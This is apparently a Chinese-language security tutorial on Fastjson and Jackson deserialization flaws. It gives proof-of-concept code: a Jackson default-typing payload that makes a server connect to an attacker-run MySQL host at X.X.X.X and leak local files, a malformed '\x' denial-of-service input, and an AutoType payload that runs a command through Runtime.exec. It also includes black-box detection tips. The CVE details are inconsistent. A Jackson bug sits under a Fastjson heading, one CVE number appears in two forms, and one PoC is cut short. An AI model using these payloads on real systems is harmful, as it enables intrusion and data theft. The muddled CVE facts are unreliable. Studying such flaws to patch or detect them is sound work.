文章目录
- Fastjson反序列化漏洞
- 一、Fastjson历史漏洞
- 一、CVE-2019-12086
- POC
- 漏洞原理
- 二、CVE-2017-18368
- POC
- 三、CVE-2022-25845
- POC
- 漏洞原理
- 黑盒测试Fastjson反序列化漏洞
Fastjson反序列化漏洞
一、Fastjson历史漏洞
- 任意文件读取(CVE-2019-12086):使用了jackson-databind 2.x before 2.9.9的Java应用,如果ClassPath中有com.mysql.cj.jdbc.admin.MiniAdmin(存在于MySQL的JDBC驱动中)这个类,那么Java应用所在的服务器上的文件,就可能被任意读取并传送到恶意的MySQL Server。
- DOS攻击漏洞(CVE-2017-18386):在Fastjson 1.2.41之前的版本中,存在一个类型转换漏洞,它允许攻击者执行拒绝服务(DoS)攻击。CVE-2017-18386 的核心问题与 FastJSON 处理深度嵌套的 JSON 数据的方式有关。当 FastJSON 尝试解析具有过度嵌套的 JSON 数据时,可能会进入递归处理循环,从而耗尽栈内存,导致栈溢出。此栈溢出可能会导致 Java 应用程序崩溃或变得无响应,从而有效地导致拒绝服务。
- 远程代码执行(RCE)漏洞(CVE-2022-25845):影响版本为 1.2.83 之前的版本。FastJSON 漏洞的核心问题在于 “AutoType” 功能。AutoType 是一种机制,允许 JSON 解析器在反序列化过程中自动识别并实例化 Java 类。该漏洞允许攻击者利用 AutoType 机制实例化 classpath 中的任意类,随后利用这些类执行恶意代码。
一、CVE-2019-12086
POC
使用Rogue-Mysql-Server.py生成恶意mysql文件后,
ObjectMapper om = new ObjectMapper();
om.enableDefaultTyping();
String poc = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]";
Object obj = om.readValue(poc, Object.class);
漏洞原理
使用恶意MySQL的url作为参数创建一个com.mysql.cj.jdbc.admin.MiniAdmin对象可以通过MySQL的JDBC驱动的com.mysql.cj.jdbc.admin.MiniAdmin类创建一个指定url的JDBC连接。再通过LOAD DATA LOCAL INFILE语句读取任意文件。
在mapper.readValue之后会调用BeanDeserializerBase.deserializeFromString()函数来反序列化内容并调用createFromString()函数创建实例对象,之后在NonRegisteringDriver.class中的connect方法进行连接初始化操作,最后会去解析连接。
二、CVE-2017-18368
POC
使用” \x “致使进入递归
{“a”:"\x
三、CVE-2022-25845
POC
public class Poc extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
-----------------------------------------------------------
public class PocDemo {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"Poc\",\"name\":\"calc\"}";
JSON.parse(json);
}
漏洞原理
在用户使用Autotype功能时,一开始通过checkAutoType时参数为(typeClass,expectClass:null,lexer.getFeaturse())//外层接口类为空//会经过Deserializer反序列化器到反序列化ThrowableDeserializer类进入到java.lang.Exception类里面查看异常属性类,在反序列化过程中通过上面的异常判断后会再次触发checkAutoType,再通过黑白名单的判断最后进行反序列化。
只要用户期望类继承自 Throwable 类,Fastjson便会将该类信任,从而造成只要是继承Throwable的任意类都可以被反序列化。
黑盒测试Fastjson反序列化漏洞
- 通过构造错误的POST请求体,服务器返回报错中查看是否存在fastjson字样
- DOS延迟方式时间判断:(fastjson版本在1.2.60以下)通过构造\x的POST参数造成DOS攻击判断